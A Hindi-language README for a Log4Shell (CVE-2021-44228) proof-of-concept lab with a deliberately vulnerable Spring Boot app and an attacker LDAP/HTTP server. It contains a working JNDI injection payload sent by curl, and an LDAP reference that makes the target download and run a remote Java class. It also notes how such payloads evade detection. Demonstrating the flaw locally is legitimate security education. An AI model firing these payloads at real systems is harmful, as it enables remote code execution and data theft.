
log4j2 Log4Shell CVE-2021-44228 अवधारणा प्रमाण
एक सरल स्प्रिंग बूट एप्लिकेशन जो उपयोगकर्ता और पासवर्ड के साथ एक लॉगिन पेज प्रस्तुत करता है। जब POST के माध्यम से / पर भेजा जाता है तो यह उपयोगकर्ता नाम को लॉग करता है। एप्लिकेशन के लिए किसी भी उपयोगकर्ता द्वारा प्रदान किए गए इनपुट को लॉग करना आवश्यक नहीं है। एक्सेस लॉगिंग को सक्षम करना जो log4j2 के कमजोर संस्करण का उपयोग करता है, पर्याप्त है।
कैसे चलाएं:
cd exploitable
../mvnw -q spring-boot:run
डिफ़ॉल्ट रूप से यह पोर्ट 8080 पर सुनता है। यदि आप ब्राउज़र में http://localhost:8080/ हिट करते हैं तो आपको कुछ इस प्रकार दिखना चाहिए:
pom.xml में आप JVM प्रॉपर्टी देखेंगे:
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true
पुराने JDK संस्करणों में यह आवश्यक नहीं है। डिफ़ॉल्ट को false में बदल दिया गया: JDK 11.0.1, 8u191, 7u201, और 6u211 में। इस प्रॉपर्टी के बिना भी, एप्लिकेशन प्रारंभिक LDAP अनुरोधों के लिए कमजोर है जो संवेदनशील डेटा को बाहर निकाल सकते हैं।

हैकर एप्लिकेशन जो दो उद्देश्यों को पूरा करता है:
कैसे चलाएं:
cd hacker
../mvnw -q spring-boot:run
pom.xml में आप कमजोर एप्लिकेशन को भेजे जाने वाले डिफ़ॉल्ट पेलोड को बदल सकते हैं:
--class=SayHello डिफ़ॉल्ट है जिसका अर्थ है कि यह SayHello.class को पेलोड के रूप में भेजता है।
कमजोर एप्लिकेशन को curl अनुरोध भेजें, जिसमें उपयोगकर्ता द्वारा प्रदान किए गए इनपुट (उपयोगकर्ता नाम) में से एक में हैकर LDAP सर्वर का संदर्भ हो:
curl -d "user=\${jndi:ldap://127.0.0.1:1389}" http://localhost:8080/
कमजोर एप्लिकेशन कंसोल में, आपको कुछ इस प्रकार दिखना चाहिए:

${jndi:ldap://127.0.0.1:1389} के रूप में भेजा127.0.0.1:1389 को LDAP अनुरोध करता हैdn:
objectClass: javaNamingReference
javaClassName: SayHello
javaCodeBase: http://127.0.0.1:9090/
javaFactory: SayHello
SayHello.class बाइट्स लौटाता हैgetObjectInstance मेथड को निष्पादित करता हैप्रारंभिक LDAP अनुरोध और संभावित रूप से पेलोड जावा क्लास के डाउनलोड के बाद, पेलोड के लिए किसी प्रक्रिया को फोर्क करना या इंटरनेट पर कोई अतिरिक्त कनेक्शन बनाना आवश्यक नहीं है। आमतौर पर इस प्रकार के पेलोड को EDR उत्पादों आदि द्वारा आसानी से पहचाना जा सकता है। मुझे संदेह है कि नए पेलोड को पता लगाने से बचने के लिए मूल रूप से जावा में लागू किया जाएगा।